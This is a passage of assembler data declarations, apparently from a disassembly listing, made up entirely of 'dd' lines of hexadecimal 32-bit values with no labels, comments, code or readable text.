		dd 0CC2475A0h, 0D6F31D04h, 38CE8767h, 31620B84h, 0A5E52060h
		dd 562EA050h, 7B7C00E0h, 52F68CC5h, 0DF1C0D08h,	2407F063h
		dd 0C589D80Fh, 633BE494h, 18FDE0CDh, 0BC7249h, 33C9391Dh
		dd 38DD8C1Fh, 0CC3B0896h, 23F300D0h, 4268F645h,	583FE0B8h
		dd 0AC580C6Bh, 0EBA4493Ch, 0F18E3A34h, 6A628ED9h, 0A09DF6F3h
		dd 6061B708h, 0C3E64985h, 0AAC8D0Ah, 5C8084AAh,	0A9916FD6h
		dd 0AFE105FDh, 4194FC92h, 0B0D706D4h, 0A4B09297h, 40CE4802h
		dd 0E7EF0068h, 6712D49Eh, 404FDEEh, 0C7020E5Fh,	7C52858Ch
		dd 1BD08A1Bh, 568DD1A8h, 0B0DD9450h, 0F4A84CFBh, 0B883E600h
		dd 0EB8E8592h, 0BC20A068h, 0E887BC11h, 0DEA12E1h, 20115F31h
		dd 0F835FDF1h, 3674F329h, 7BE9B8A0h, 24BD9129h,	0F6E1EF01h
		dd 301805EAh, 1F82188h,	1F0F36E1h, 74D62B9Fh, 3C90D788h
		dd 5F6AE224h, 0C6B8D318h, 1C3D1A86h, 58C0E8C1h,	78C3BE6Bh
		dd 0C22C82EEh, 0DEA4A0C9h, 8095C0D6h, 0AE4EFB24h, 0B6660402h
		dd 0B3788491h, 0E8E1E560h, 11F5EA23h, 0EE0F002Dh, 319784E1h
		dd 34700BBh, 0E258356Eh, 9000A77Ch, 71F84EC0h, 0B897A023h
		dd 0CCD91E50h, 850A8127h
		dd 241D68DFh, 30908F00h, 0FCB634A0h, 17999802h,	519D8288h
		dd 18887930h, 0A7D9002Ch, 5425E87Ch, 6900D868h,	0D304973Fh
		dd 62F2F1h, 0E3174229h,	960AB2C0h, 11C89D4h, 0DDE89385h
		dd 0C9DC34ACh, 900F24A0h, 68E96048h, 91D2210Bh,	2951F405h
		dd 0A1AD6EC2h, 0D979DCBCh, 7CF26C32h, 50818D30h, 0A0238C6Ah
		dd 7AAA8E30h, 7BF72495h, 5E465E48h, 745B8600h, 93198E76h
		dd 0C5B518C1h, 2020A9BFh, 0F4681253h, 23783E9Dh, 0B57B003Bh
		dd 0A95642A1h, 20A0A225h, 60A6DF6Ch, 8E0F8078h,	1E690201h
		dd 8F59195Bh, 87249041h, 9409F80Ch, 0E5FE9FF3h,	609C6Ch
		dd 0B79DA395h, 10AE229h, 0DCAB0A6Bh, 590B2A82h,	61C080B4h
		dd 0B2451E0Ch, 908518C4h, 18DDF921h, 1D51320h, 9FE5A9E6h
		dd 7361E0A2h, 620BE1E0h, 2103130Ch, 99759E2h, 27589CFh
		dd 2DF3A9DCh, 20A0BF46h, 60BC232Ch, 8E504F01h, 0A3EF7A85h
		dd 2478283Ch, 7CC09038h, 0B723046h, 87B6BE2Bh, 0C0FE6084h
		dd 9A228697h, 5C0A6F4Ah, 0A340940Bh, 0EBF2AEh, 0B12BE0CFh
		dd 0B5DCCCF1h, 0A57F9015h, 221F0084h, 5A5E8ECEh, 8E13998h
		dd 0F6792D80h, 8023739Fh, 0C7F32E17h, 0F79C6804h, 0B7F2F0E2h
		dd 0EFDB530h, 5E12B417h, 9CFCE42h, 88D0DC62h, 3722032Dh
		dd 0C8280050h, 4812C695h, 7F49DC76h, 0B2AF0E74h, 62019001h
		dd 75B9F1B8h, 646D7060h, 0FF70A8A8h, 800F343Fh,	656C9A96h
		dd 63CF22h, 8D43D47Ch, 0F9AEE8CAh, 70944898h, 76A24B80h
		dd 1901B4h, 5041CE17h, 0D8497D5Ch, 0F7B8365Eh, 8522EB03h
		dd 69045882h, 3781AD59h, 38135080h, 0FA7912DBh,	8888CE7Eh
		dd 0B0CEC737h, 0DA1B80D2h, 32F86109h, 3AC8E192h, 695D02h
		dd 0DBE21021h, 6C09E6AFh, 0D6AE699Fh, 9B8E4200h, 446CAAB0h
		dd 0CF253CC3h, 415D379Eh, 0A8DC9F56h, 0CCA02543h, 0E8240AEEh
		dd 2A02E020h, 0CAB34D13h, 0B06428h, 0E7015CFDh,	3DC0599Ah
		dd 0C159E02h, 0BDD6882h, 74AC0018h, 0C80D7800h,	14CECD1Ch
		dd 6E50057h, 0F9F78C76h, 0B8A88589h, 36017255h,	47C8DAC3h
		dd 0E4F028B5h, 0F2E70969h, 0D68007B1h, 8CCD61F5h, 97217127h
		dd 808B91BCh, 8A2EB413h, 51E87Fh, 2B5EAC45h, 8B4ECF4Bh
		dd 0DA59CE05h, 0CCCB7BA3h, 0A0CF2DC8h, 0ECE5BB3Bh, 0BCFB16C1h
		dd 8549067h, 2A98D8DBh,	475D6004h, 34888C81h, 0B4D3123Ah
		dd 0B76A004Ah, 0CC485DBEh, 9004F527h, 95C3E4h, 0A960E894h
		dd 6F43B1C7h, 5D67B718h, 0E6B9D921h, 13B601AAh,	5EE579A6h
		dd 0E73CE00Dh, 75936500h, 0B17A164Ch, 2602F023h, 0A5546EDFh
		dd 2E913897h, 0E850CE94h, 0FA9C03A8h, 39267FC9h, 88348E85h
		dd 0D561E031h, 6D380D99h, 0DC72A6A2h, 9144956Bh, 53AE80A3h
		dd 288B8416h, 16F3CB0Ah, 0B129229h, 8899ECBFh, 4FA18B6h
		dd 5DEAFFE1h, 222CC3h, 0F3DDE263h, 0D6821430h, 7202057Ch
		dd 0EA1463Eh, 79F0D9AEh, 51182Dh, 0E2F14B01h, 5A1FC172h
		dd 0F31C8F12h, 48B1CB4h, 0DF196125h, 454A8EAh, 0CA3ECD44h
		dd 8F0CC882h, 0A48F6997h, 40E2E840h, 0C620CE1h,	0ED8D03F4h
		dd 281C764h, 82F6408Fh,	0B8B47989h, 0D7652980h,	64218C6h
		dd 0A1255E8h, 0ED00E9A7h, 0ABE76F7Dh, 35951D0h,	5A69A3BCh
		dd 0CEC9C8F9h, 92B99BE6h, 292BA031h, 28344C69h,	94C8E42Ah
		dd 30465E84h, 0BAA25800h, 0A0998AF9h, 83118902h, 0B0FF6603h
		dd 11F5B0C4h, 88BA29FAh, 0B952803Ah, 77828BF5h,	3661BF0Bh
		dd 7C8707E9h, 0E7E25830h, 7C689C8Ah, 15008946h,	32472565h
		dd 700A2D44h, 0D8A0398Ch, 80385C39h, 0B403890Dh, 1173003Eh
		dd 61377114h, 42009258h, 0B1330F54h, 72EFDE4Dh,	8847EFF7h
		dd 0C0649483h, 986A2170h, 92E61C58h, 8F1C9397h,	0C00CC884h
		dd 26963D7Fh, 0DF174517h, 0D28790D2h, 2A73000Ch, 509D901Fh
		dd 4178D688h, 0C7013E90h, 71699487h, 0A8EB2E85h, 5D20DCF8h
		dd 0E61DD839h, 3521406Bh, 22E515F2h, 3B17916h, 0D8C7149Ah
		dd 442AB0BDh, 1317E15Eh, 6CD0ADCBh, 0BA6B9AFBh,	31CEE890h
		dd 0F618BC73h, 0A83266h, 565E85BFh, 30B62789h, 0E6196067h
		dd 21004B19h, 0B91F901Ah, 4D7EDFDCh, 0D30930C0h, 0CB002530h
		dd 2F875034h, 0D1D0A603h, 55C2ECAh, 0A315CB40h,	0AF78C00Ch
		dd 0B949CEB3h, 31240080h, 213CD58Bh, 4C5FF0BCh,	89151CA0h
		dd 5C07AC7Bh, 70CEBF2Fh, 63B67E5Eh, 0FC80CB02h,	4AB98C75h
		dd 1C685170h, 0EB9540AEh, 0A551FCD2h, 5F0008B0h, 0D035A2DFh
		dd 94A19FFAh, 86D582D8h, 240396D8h, 7BE2F926h, 18EA7DF4h
		dd 0B00DEFD0h, 0C1B0C3A1h, 62032CB0h, 86B41F0Eh, 389670h
		dd 0F1A4D28Fh, 99C1FA5Bh, 84E149h, 49830B16h, 0A181E24h
		dd 0B5AEF6A5h, 5BE641Ch, 44A0C80Fh, 7BA600B3h, 9060A93Fh
		dd 0F91FFB32h, 5A0DA061h, 0CE58042h, 10202E2Bh,	63C0669Bh
		dd 0C352FB24h, 9813889Eh, 8401820Ah, 18EA4A81h,	820A62Bh
		dd 970F7CE0h, 0A301FC37h, 0DD55344Ch, 2C8D9CC8h, 5E000398h
		dd 9D672621h, 164C037h,	72A7163Eh, 99CECB05h, 844242B3h
		dd 507320D7h, 0D178B128h, 38B51889h, 433AE419h,	0C81EAB16h
		dd 7C005520h, 4DE87108h, 3FF1E620h, 3E00DAD3h, 0AD3C93D6h
		dd 8806456Dh, 47159AF8h, 8BFCB090h, 4E84284h, 76E6D2C3h
		dd 7DFBAD80h, 12FFED03h, 0E0DD916Fh, 0DBF887h, 0DAF56DD3h
		dd 635B2801h, 93154600h, 0FF291EC4h, 48147503h,	8200630Bh
		dd 68E266FDh, 86255CD8h, 0E42CC598h, 48B3602Eh,	517091A3h
		dd 88DC0CB6h, 0EF24A32Ah, 0B20228BBh, 4C19D9A6h, 2B0B0C5Ch
		dd 920B8D1h, 293A7E3Bh,	0CAE220E5h, 1CC7323Eh, 18669B42h
		dd 7A548C85h, 213E11B8h, 826D39DFh, 1BA04089h, 4484C7A6h
		dd 5B276037h, 0A8D41CEFh, 2FE65726h, 61BE1028h,	0CD86F6C0h
		dd 0ACA09394h, 1B2CA3DDh, 4B07F826h, 3544D0DCh,	0E67EC083h
		dd 29AE059h, 784A0AC9h,	58728061h, 36E2AF00h, 0F58DBA3h
		dd 0EB44008Eh, 112B5EE5h, 821BA13Ch, 0A3C92414h, 2CE2E166h
		dd 0F9F71181h, 2B39362Ah, 0D4773844h, 0B23CF224h, 73BB308Ah
		dd 0AE589E0Fh, 0A11240D0h, 4E622B9Fh, 0BF709C40h, 2C512318h
		dd 0EA9FE279h, 7C29C541h, 8824CE9Dh, 851EC172h,	0C4706C90h
		dd 0DCC01B5Bh, 5D3AFEh,	0C48EE493h, 4534152Eh, 0BC18F54Dh
		dd 8C1E0034h, 0E63D1BC4h, 0A313294Fh, 68A05BB7h, 0D01405B3h
		dd 2A684Ah, 0ECD8CC2Ch,	0DE00A079h, 20A105ADh, 395DD01Fh
		dd 8860E8ACh, 1833B0EBh, 0D9F9B0C5h, 502EADC4h,	4F016E23h
		dd 633CF644h, 9B806C3Ch, 2A8D95B8h, 0DAFCA900h,	4D8C25EDh
		dd 92EFCCBh, 8A5E8422h,	0B5966848h, 1DFF6107h, 0ABD201CCh
		dd 0A338E021h, 9C3C5CD6h, 23502F4Eh, 0BE4200Ch,	92FB8ECDh
		dd 40815889h, 823A9D50h, 989B9F49h, 0D54CE0C6h,	876E00D1h
		dd 0A219DDCDh, 28763C60h, 0F08BF528h, 7FC40513h, 2E310F4h
		dd 4FE5BEA1h, 3C432847h, 0B0444D2h, 2CD0B4E5h, 0E22A02D9h
		dd 0E7D47350h, 7427BC46h, 60C8CD7Bh, 41519EF3h,	5A774B00h
		dd 76A6E4Dh, 2E290C70h,	11E0CCBAh, 15AE9200h, 0B0EE0CFh
		dd 3991DCA4h, 0C8835F80h, 9ED81653h, 3F199109h,	4CC0D0A0h
		dd 39BCE409h, 5EEA008Ch, 9E54B8BCh, 0DD4B0743h,	5424442h
		dd 137CF0EBh, 0A3E39908h, 7CDB4E7Ch, 5B685F82h,	92023878h
		dd 643F0D37h, 0EEC8F2BEh, 858C80C2h, 1899AC33h,	642FE116h
		dd 86A6BC41h, 2C8F8F2h
		dd 0EAB39FEFh, 307C8A32h, 0EB153100h, 0B5A23F20h, 0E8F14004h
		dd 22D8D004h, 2569EA4Dh, 0ECC11C18h, 44472FB3h,	0DF8283DCh
		dd 3A78C409h, 0F1803FA8h, 5C9DC13Bh, 730769BCh,	0D47FBBEBh
		dd 0A99F4A50h, 0C65E1772h, 0B9CC84F7h, 637A1B20h, 0A724B959h
		dd 729559E8h, 236B00E5h, 0E2B8406Ch, 8609D910h,	939A7737h
		dd 0DF993048h, 588CD450h, 67B0EF08h, 0CDDD8055h, 0D11C0840h
		dd 9EA05C01h, 0EC73DC06h, 4CD0F9C0h, 0FD8FDC82h, 4341A00Fh
		dd 242F693Dh, 924F66A4h, 6A3A7099h, 0D59E023Ch,	46CD3098h
		dd 20A4900Ch, 75010E7Bh, 0B4A2977Fh, 830CCF2h, 806A6587h
		dd 0B020E6E7h, 9991A5h,	63D37AFh, 0AD6FE701h, 288CE14Fh
		dd 0BC979525h, 2D802E91h, 822AF87Dh, 0DDF40197h, 3BF3D0h
		dd 85EEFEF8h, 6C37DE49h, 0D9205967h, 97838Dh, 5340A9E2h
		dd 0DF0F9C86h, 0DE71B00h, 991F64AEh, 45241232h,	0C894D26Dh
		dd 4F9F6BE0h, 308D924Fh, 0D574202Ah, 40F7D55h, 0C7D89768h
		dd 0FFC03E85h, 24A5AA8Fh, 52C40C17h, 3A5984D9h,	6B3D9718h
		dd 0EACD02DFh, 0E9BA3320h, 25101A20h, 6A7F036Dh, 804E7108h
		dd 5CDD8033h, 2B14A9A4h, 0E087B303h, 0EDD5CD3Fh, 942D8C20h
		dd 0CCF60173h, 580B0784h, 8249C401h, 0F8C8DD01h, 1AEBCE62h
		dd 0A4481022h, 0FC09B023h, 0ED4C85E1h, 14C070A2h, 0E7F8E265h
		dd 8A09577Eh, 9188D8DDh, 30253B20h, 5C9486C8h, 50A098C3h
		dd 21B51668h, 0E8C8E7A8h, 12EDBC9Fh, 0E654A40Fh, 75C7E00h
		dd 0F698944Ch, 0DCFC09BCh, 0E8D8C69Ah, 0B766E31Fh, 0E4B46527h
		dd 0FC83606Fh, 62F7CD2h, 0E0DD8B0Dh, 0A015A88Ch, 12C0109Fh
		dd 0D060A288h, 9DA486ACh, 14F97C89h, 8F598C80h,	14B7DD37h
		dd 0E84A7E47h, 5AB9F10h, 0A296D7CCh, 0D8BA8A9h,	0F582453h
		dd 0E85903CBh, 76E9D27Fh, 9540CFA0h, 499E0933h,	0E2C0DF19h
		dd 7069F907h, 323571F1h, 8A512A38h, 918F0076h, 82960E05h
		dd 8823C2BBh, 0A640F0C1h, 2E9DF506h, 803039h, 0B879492Ah
		dd 3D12BA48h, 849E98Eh,	0F8DCCB0Bh, 0E0FFAC2Ah,	5A3FC85h
		dd 4DBF4103h, 23D03AF7h, 0BF480088h, 0DB12AB7Ah, 80A368C8h
		dd 0A1160626h, 0C058FD64h, 8DDE1DF8h, 0DBE8BD42h, 2885158h
		dd 18A76185h, 6FE7D499h, 0B709A86Bh, 4852094Eh,	968E9800h
		dd 1A995893h, 359F00FBh, 1CE25783h, 2909F167h, 45566F3h
		dd 482F874h, 2D00F44Bh,	33C0106Dh, 169D94B6h, 0E3D15063h
		dd 488B4A88h, 0EAC16EC8h, 72D83179h, 98A12FAh, 0A48093Eh
		dd 0AAE62010h, 73BF303h, 0C951950Fh, 0C329A76h,	86D38002h
		dd 4ADC6Ah, 63889069h, 78858998h, 52D520C8h, 2208F958h
		dd 0AE08009Fh, 5B1799BBh, 511D384Eh, 0FB9373h, 0D01CCA74h
		dd 7168767Bh, 34E1C723h, 0E9BB2142h, 0E6879E3h,	459C998h
		dd 40B2FAAEh, 79308AF2h, 400C00E2h, 0DAC31E20h,	70728F2h
		dd 0FC863805h, 0C42C83E1h, 0CC072C26h, 0D0E5EE8Eh, 0F413CEB4h
		dd 111CA34Ch, 8D020FF9h, 34E79F59h, 9909D868h, 9B4EC4Ch
		dd 0F18BD0DCh, 8C4D0BD4h, 146D740Bh, 12537CC1h,	27AA9080h
		dd 37219ACh, 11C81795h,	0B5E18738h, 5880DAC4h, 0B72D0F5Fh
		dd 7D11501Dh, 52CE148Fh, 0C9FA0800h, 67602768h,	4DBB4E21h
		dd 8C239587h, 490CFF5h,	9FA1CCE7h, 0A581C4A3h, 0AB32412h
		dd 391B890h, 0DD720095h, 0DE8B059Fh, 5B02F8B0h,	1D8E85CFh
		dd 0F4045E8Ch, 330081FEh, 2CCF0A60h, 98AED2FBh,	0B4DB48F4h
		dd 2AFAC5DFh, 0A010D75Eh, 488861E2h, 8EA4894Ch,	6A376040h
		dd 5D2F56C4h, 8D173CFAh, 3A5416BFh, 669B1084h, 20599AC9h
		dd 0D3BDA800h, 725E8DACh, 243F2C7h, 0B58911C2h,	0A4C41568h
		dd 32B3670Ch, 0F1ECA83Bh, 0A2932C29h, 61B8B1FCh, 2C34300Dh
		dd 337F4409h, 1B748058h, 9357D069h, 34172D7Ch, 0A7803791h
		dd 66733A78h, 0C1718C30h, 0E2397F27h, 2CC304B8h, 0FD64E070h
		dd 1A92C404h, 74E2A481h, 0AC64D0h, 0D4CBF913h, 518DC2D1h
		dd 67A32905h, 7C2F344Dh, 0C0620A10h, 4D56CD44h,	0D58D13A8h
		dd 2400F090h, 6247A318h, 30A58658h, 0B197548h, 0FB815521h
		dd 162CCA20h, 8B0D14F9h, 669B8454h, 3507E930h, 4219EA02h
		dd 58B6E13Dh, 0FD2B00C4h, 64306EE7h, 2598BCFAh,	0DD128005h
		dd 0B08BDA36h, 0BCC073C8h, 0EE904Eh, 7DB5F5C4h,	5C684F26h
		dd 6FB0B1C0h, 1F0D5719h, 42594DC6h, 79C32E99h, 33443067h
		dd 0C7F97661h, 79205600h, 3D449F93h, 9C6352B1h,	0AE2F9701h
		dd 686BB0EAh, 239F05A4h, 0D0BD431Dh, 0DD01ADCEh, 89A5CB18h
		dd 0C879D510h, 2C644B28h, 60342A46h, 0A9EC9B0Eh, 5D0BBDA0h
		dd 46D65400h, 3C9134A5h, 0B0E60244h, 7EF2F14Ah,	0D448BC7Ah
		dd 0CBC4182Dh, 0EED92E82h, 561512E8h, 1E810292h, 64D28CEEh
		dd 168A6700h, 755852F0h, 9C1F005Dh, 0F9900165h,	4900DC21h
		dd 29F3D0FEh, 2C620693h, 47A0EF67h, 4720B569h, 0C4F7B0DCh
		dd 300B291h, 5EB3C39Eh,	5884C1C5h, 0BC960C40h, 48510241h
		dd 86D4102Eh, 15D86448h, 0BEFF6F26h, 213231Eh, 90FD4CC8h
		dd 16D65A94h, 0C8BCCEE8h, 7302CB72h, 8868F18Bh,	6CBBE259h
		dd 16893B78h, 698BEFAh,	5050E984h, 881D6929h, 21CCF902h
		dd 0E230650Dh, 0C018669Bh, 72FB1329h, 58B48032h, 14BFA8Eh
		dd 27C8908Bh, 8D9D2C0h,	24F50088h, 6931F6B0h, 835AA32Ah
		dd 0C0F2A8C5h, 6DD8E001h, 70968CF1h, 4C40BDB0h,	16E2440Bh
		dd 1370A32Dh, 187F8AC8h, 0C809CBEBh, 452B2486h,	23500048h
		dd 67994DCCh, 82FC244Ch, 0D6F6C221h, 0D0EB04B0h, 0E98C942Bh
		dd 0DCFE7BB0h, 18C61D04h, 68D0BCDFh, 7A1035FDh,	480B5074h
		dd 4AD55A08h, 40FC8A4Ch, 7A31FA4Ch, 49C8FD00h, 0D10E35B3h
		dd 5CC30EA7h, 7F429753h, 28561BBFh, 35B9440h, 0A92650A5h
		dd 2FA40087h, 8C3ECAFh,	301B39EEh, 3662EBh, 2DB2B831h
		dd 15292842h, 0EF967900h, 0F716246Fh, 0D62C3D12h, 0B7E6C58h
		dd 9B851BECh, 0D8691448h, 0DC483C01h, 0AE0E9FE3h, 0B035C0h
		dd 873711EBh, 196142B5h, 0A03410B7h, 0FE7E161Dh, 8C14312Ch
		dd 398AF5DDh, 6DE4CB54h, 13BCC030h, 0FE00D54Bh,	4C0A3ADh
		dd 4AF3AA1Ch, 81E0823Eh, 0D90F5864h, 3227ED1Dh,	0E8074ACh
		dd 351C77B1h, 53FF6B00h, 7BBF01C2h, 7F99121Ah, 326008F4h
		dd 0F5878180h, 0E27BB271h, 0A06E68Ah, 6213372Ah, 0D7FC028Eh
		dd 3864F6EAh, 0C05C824Ch, 6D7EF73Bh, 0C01C391Ah, 9380CCB8h
		dd 0F4E164D1h, 0FC045EB9h, 0F056266Ch, 8CF24CC7h, 4AE0FA52h
		dd 0F250A2F7h, 0B728307Dh, 2C16BC7Ah, 704B3D2Bh, 0B3A06C18h
		dd 0C0E55998h, 7D4B7734h, 858CF830h, 90905F04h,	34DD8B88h
		dd 2F1C278h, 0F084D163h, 1C8661BEh, 17DD8770h, 3D0444C0h
		dd 0D0B3DAh, 0D2CBD6CDh, 95717FEh, 2371D4FAh, 6903C480h
		dd 8D24AF42h, 0C0AFAB08h, 255F8C04h, 0FC71633Ah, 8661B678h
		dd 0AF5D7100h, 5FC7336Ch, 0FCBD0356h, 65881DCh,	83C24900h
		dd 0B6FB2C37h, 0C9AB0FC0h, 8C9685AAh, 7C889680h, 52FE0EA4h
		dd 0DB208543h, 9E2669C1h, 0D408B0ACh, 4B9A84DEh, 0B7E4ACE5h
		dd 715D6360h, 0A9B42A00h, 0D5316A97h, 0D08A4B29h, 0DAE95920h
		dd 4DB34200h, 0BF9BB009h, 0A13C3A2Ch, 961C81ACh, 0E258E27Ch
		dd 9688305Eh, 8D604CBCh, 0BFA43CDDh, 0F8F66C30h, 9CBA1A39h
		dd 0F909F164h, 9BA810A0h, 0BE020056h, 0FC6626DAh, 75EB08Bh
		dd 64FF3C49h, 56A50064h
		dd 0D40139C2h, 552E9D09h, 0F0008A79h, 9BA6C39Fh, 78112D89h
		dd 4E8C3818h, 6065154Fh, 0AB110B2h, 2700C62h, 51A70CFFh
		dd 48C28586h, 90E5D832h, 25600C64h, 0A0987E5Fh,	195D1F20h
		dd 0E9A1EB08h, 0E0402B8Ah, 0DB44D0DFh, 0DE170290h, 3F9840DDh
		dd 0B8E0F9h, 6D2009FFh,	3FCD6E62h, 805F3DD8h, 21348E1Ch
		dd 254A0F04h, 14CEC2D9h, 0C8F0CA4Eh, 22FDC134h,	0C2FB40E7h
		dd 0CA5CCC64h, 5C12D99h, 0E488B318h, 0FBC812DDh, 0CB34ADDEh
		dd 0C494657Ch, 39BB603Bh, 8342094Ah, 7868883Eh,	1B009CBDh
		dd 0D759E866h, 45FF4Bh,	0E33E7A7Fh, 1229A354h, 4004EF95h
		dd 0BF81A5C8h, 0EF7E104h, 0BCA8107Bh, 683CE980h, 0F22E2CEEh
		dd 0D08C0C4h, 8FF83140h, 109C2BD5h, 0DA0D5F15h,	7696C07Ch
		dd 44DF0EECh, 0D10707E8h, 35D04A88h, 1A478DCh, 0CB2EC48Fh
		dd 2805B418h, 8C6FBC28h, 582B2F00h, 0FBF369EFh,	0F6DE4ADCh
		dd 0E6122DE0h, 75A25B80h, 0A884F90Ch, 1F870EA6h, 12A2C4EBh
		dd 9076BF16h, 8F4AA822h, 2B4EE4F3h, 6E23A4h, 43900544h
		dd 88095320h, 296E48CDh, 0C22C657Ch, 0B318682Eh, 0A84F05A0h
		dd 0E48C703Eh, 1F97CA60h, 80B6150Ch, 0E9A01E8Fh, 7759204Eh
		dd 32265F73h, 710BBB98h, 4E241009h, 84520073h, 7D153A07h
		dd 0A02D8F0Bh, 7E14646Dh, 79C00008h, 6A7E574Bh,	89021683h
		dd 0B1E212F3h, 70005903h, 2786682Eh, 30C1197Dh,	79DD009Bh
		dd 79A491D9h, 2CD21873h, 0BBFB2CDh, 509DA219h, 61683988h
		dd 0CCEE3CC7h, 0E13A67Bh, 5092D607h, 4E45287h, 930DD41Ah
		dd 0B816BB0Ch, 0DFDB1804h, 7BEE6CA1h, 26935828h, 40611327h
		dd 0B6F179D4h, 0B20830D0h, 422A68E4h, 66008880h, 0C31FF96Fh
		dd 71D311Bh, 4B0E9E79h,	0FC7B5286h, 9F8578F6h, 482EADB6h
		dd 0C0683310h, 7394C735h, 313A00F7h, 13EF2F43h,	0A827EAFAh
		dd 0C760C1DBh, 0C50C8C2Ah, 5A39D109h, 69AC02F1h, 84275749h
		dd 0EAE12047h, 0BD6603A3h, 3C908E0h, 0FC92718Dh, 1901BC06h
		dd 9B987799h, 40854B1Dh, 0BC7B20EBh, 4DD82FB4h,	4B65ECh
		dd 6A3C5CD1h, 667E8BF1h, 24CD8D09h, 0BB02398h, 8600B4AFh
		dd 0C2FB9213h, 48A24224h, 67D0D700h, 24A7B7D9h,	81ACC30Fh
		dd 928A3485h, 211832Ah,	0DAD2CF5Dh, 0C9284293h,	0C4304C2Ch
		dd 0E7F48892h, 3F0C79E5h, 32C213EBh, 0ECBE6880h, 4BCE02DAh
		dd 6F75A4BDh, 59165CE4h, 1C9AD972h, 66E9A6C3h, 30071B6h
		dd 238391FEh, 0C01962h,	0C85185D0h, 9ABD815Ah, 0DBE7B0A0h
		dd 0A7B29E07h, 87E2DCF6h, 79F4A5BCh, 1F041CF4h,	0C28AA9D9h
		dd 0F769736h, 55E009E0h, 0F8C8A04Fh, 14D53E87h,	0F902E540h
		dd 3AC8D680h, 0FBA4812Bh, 3A43B2h, 1B509A44h, 3E39B9BAh
		dd 0D4004EF5h, 7FD4A8ACh, 3B127535h, 0EA80D036h, 977E4622h
		dd 0FE612B04h, 4518D741h, 995802CFh, 6C8CD4C9h,	2F2AD082h
		dd 5884D040h, 2AD4F851h, 0C188E4CEh, 0A7CF80C0h, 0F05C0B86h
		dd 94C81168h, 24F0CE53h, 0BE7F7044h, 2EA38924h,	78C16079h
		dd 0C1C251D2h, 84227E93h, 7FF48600h, 93A909F1h,	0F2AFEE0Eh
		dd 0DCEF61FCh, 9A2FD8D1h, 0B8C3C0D4h, 93FB4AAh,	36E008DDh
		dd 0E7A0F022h, 18953C50h, 1DC5B224h, 406977D0h,	0E8D58996h
		dd 0E30106B7h, 0D4EAA5F9h, 0C02F37C8h, 6AEB6638h, 3CD80C4Fh
		dd 0B013833Ch, 9C80DD0Eh, 48A4CD87h, 0B785B471h, 0B2D4A935h
		dd 702028C0h, 948C49D8h, 0B8465EC0h, 0EE0E2805h, 10B4812Dh
		dd 0F8E0488Ah, 3CF1AE00h, 0E1A416F0h, 257B72h, 31113E9Ch
		dd 69175C6Dh, 0E890285Eh, 12E2FBC6h, 0F208BFE9h, 6A5D1C48h
		dd 5681F41Fh, 3884208Eh, 0ED643C4h, 6E68A265h, 8C988D02h
		dd 0AA001CFAh, 254F76E8h, 90BA7D4Ah, 7C06008Ah,	24214C72h
		dd 349CE627h, 0A8035CD6h, 995CD600h, 96CE7F8h, 5A4F9AEAh
		dd 0DD027CD0h, 0BF5F28D0h, 704D9DECh, 69D5CC0h,	2C740357h
		dd 3507F3CFh, 0DCE0E8DAh, 344E634Bh, 0B688988Eh, 69BC7AC0h
		dd 3BD97B46h, 0D5851644h, 0B4C1843Eh, 97A094h, 2CD6FF9Ch
		dd 7BD52D22h, 26111C97h, 6E199680h, 0E5175082h,	24B1D2B0h
		dd 30F08802h, 0EF0994E4h, 71AE1E9Fh, 4CAC4088h,	7005794h
		dd 0B8DC8CE9h, 29C8DD0Bh, 26B0AE5Fh, 0A3E70968h, 0CB965868h
		dd 0D7D0E083h, 0B718C2D3h, 887A3D87h, 0C2A1F000h, 80E7FD4Eh
		dd 0C60C04C0h, 0E09CCF06h, 36050FE8h, 0B6218320h, 0FA80F8ECh
		dd 0BF595A11h, 0B7863C01h, 16F907B1h, 0D953D880h, 973B2E6Dh
		dd 0B7958278h, 5F3B00C8h, 3F65A76Dh, 6625A200h,	0F1078EFEh
		dd 0DF020980h, 0DC1094CCh, 2F45AF3Ch, 3ACD1040h, 72EC0890h
		dd 467633BFh, 513C00B7h, 9EDF29BAh, 1F5E320Ah, 0D06487C0h
		dd 0F58ECB02h, 71A1E0E1h, 669BD044h, 2A530B86h,	4040A10Bh
		dd 8854858Eh, 6D4DDFBCh, 24EC1AA8h, 71087B99h, 4563C804h
		dd 0F12BCC00h, 858DA339h, 91934AB0h, 8C30415Ch,	0E191F381h
		dd 0D6F49609h, 60932118h, 8873E460h, 0E49A4113h, 0A26D0C02h
		dd 0E85891A3h, 18234BD0h, 80393113h, 0EF1286B4h, 30ADA227h
		dd 0E7930617h, 0CABAA068h, 0C29F1CFBh, 8B1581C8h, 24BE6885h
		dd 0CB05E7F0h, 0EA7F1922h, 0DCFC9840h, 24A0DE7Bh, 2C9CD46Eh
		dd 0CE824E70h, 0A040A78Bh, 1FBFE27Fh, 9DB711E0h, 8DBF0700h
		dd 7CA7322h, 2D1027A5h,	8A125A8h, 7CA1623Ch, 0A9182C71h
		dd 0BDC7EC00h, 0C15048A2h, 3BEA272Bh, 6472802Bh, 2D22FB0Fh
		dd 5CE6932Eh, 0E240FEF0h, 0EB07360Dh, 2E72B0h, 114F8C8Ch
		dd 0F4A919C1h, 0F25C22EDh, 4B5030B7h, 0B5E47504h, 0FCE9093Bh
		dd 8AA6E507h, 3E07D317h, 0BD2F37C0h, 0C64D4900h, 0CCF04527h
		dd 146B0185h, 0E7CA8654h, 9D94DCEBh, 7F4B2890h,	27E218A3h
		dd 5806C730h, 0BE00E0EAh, 0BD3D6319h, 685E5D23h, 837BC440h
		dd 1FC1178Eh, 0CE977FEEh, 0D6004BF1h, 68E8BD5Eh, 4824904Bh
		dd 0EBE0D2C2h, 0E2B6B850h, 1DC90491h, 0EAEF8136h, 0C6028C1Dh
		dd 902468EEh, 0F08C7DCh, 0B2AEFD13h, 0F450D087h, 8413AF88h
		dd 0EF844CDBh, 9441FB68h, 0CE325126h, 0E7F8B849h, 4ED800C6h
		dd 0F4821C8Eh, 614E51C7h, 3A23802Fh, 5FE8FE00h,	0E2769EAFh
		dd 41566B8Eh, 3958E1h, 1E31F4Ch, 92CDAF72h, 23208210h
		dd 3331A284h, 0CDAE8BF8h, 79900812h, 8BC874CBh,	8980F1C5h
		dd 271C92Bh, 0D35A4ED9h, 38FCDD86h, 0DC534EBDh,	8BC8D0CBh
		dd 0DE0F47C0h, 86D403F5h, 46E6D567h, 0B05C93AAh, 669B215Eh
		dd 0F8908580h, 1CA6E98Ah, 0C1A31189h, 54D70E23h, 2CB0844Dh
		dd 70E8153Dh, 6C50FB0Ah, 0D802CBC4h, 9902BC4Bh,	18977FCAh
		dd 0C09C2691h, 0DC09E7A7h, 0B90396C8h, 13CDCB18h, 0F1581FACh
